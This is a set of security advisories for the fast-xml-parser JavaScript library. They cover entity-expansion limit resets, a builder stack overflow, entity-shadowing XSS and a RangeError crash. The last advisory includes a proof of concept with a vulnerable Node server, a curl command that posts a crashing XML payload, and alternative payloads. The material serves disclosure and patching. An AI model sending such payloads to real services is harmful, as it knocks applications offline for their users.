fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From 5.9.3 until 5.10.1, src/xmlparser/OrderedObjParser.js processes multiple DOCTYPE declarations within a single XML document and passes each declaration's entities through addInputEntities(). addInputEntities() resets maxTotalExpansions and maxExpandedLength every time it is called, allowing additional DOCTYPE declarations to repeatedly reset the configured entity-expansion limits during one parse operation. A crafted XML document can then cause excessive CPU use, event-loop blocking, memory exhaustion, and process termination. This issue is fixed in version 5.10.1.
Impact Application crashes with stack overflow when user use XML builder with prserveOrder:true for following or similar input:
[{ 'foo': [ { 'bar': [{ '@V': 'baz' }] } ] }]
Cause: arrToStr was not validating if the input is an array or a string and treating all non-array values as text content. What kind of vulnerability is it? Who is impacted?
Patches Yes, in 5.3.8 and 4.5.4.
Workarounds Use XML builder with preserveOrder:false or check the input data before passing to builder.
fast-xml-parser allows users to validate XML, parse XML to JS object, or build XML from JS object without C/C++ based libraries and no callback. From 4.1.3to before 5.3.5, a dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered. This vulnerability is fixed in 5.3.5.
Summary A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., � or �). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.
Details The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45:
javascript "numdec": { regex: /&#([0-9]{1,7});/g, val : (, str) => String.fromCodePoint(Number.parseInt(str, 10)) }, "numhex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (, str) => String.fromCodePoint(Number.parseInt(str, 16)) },
The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this: - [0-9]{1,7} matches up to 9,999,999 - [0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215)
The entity replacement in replaceEntitiesValue() (line 452) has no try-catch:
javascript val = val.replace(entity.regex, entity.val);
This causes the RangeError to propagate uncaught, crashing the parser and any application using it. PoC Setup
Create a directory with these files:
poc/ ├── package.json ├── server.js
package.json json { "dependencies": { "fast-xml-parser": "^5.3.3" } }
server.js javascript const http = require('http'); const { XMLParser } = require('fast-xml-parser');
const parser = new XMLParser({ processEntities: true, htmlEntities: true });
http.createServer((req, res) => { if (req.method === 'POST' && req.url === '/parse') { let body = ''; req.on('data', c => body += c); req.on('end', () => { const result = parser.parse(body); // No try-catch - will crash! res.end(JSON.stringify(result)); }); } else { res.end('POST /parse with XML body'); } }).listen(3000, () => console.log('http://localhost:3000'));
Run
bash Setup npm install
Terminal 1: Start server node server.js
Terminal 2: Send malicious payload (server will crash) curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>�</root>' http://localhost:3000/parse Result
Server crashes with: RangeError: Invalid code point 9999999
Alternative Payloads
xml <!-- Hex variant --> <?xml version="1.0"?><root>�</root>
<!-- In attribute --> <?xml version="1.0"?><root attr="�"/>
Impact Denial of Service (DoS): Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:
- API servers accepting XML payloads - File processors parsing uploaded XML files - Message queues consuming XML messages - RSS/Atom feed parsers - SOAP/XML-RPC services
A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.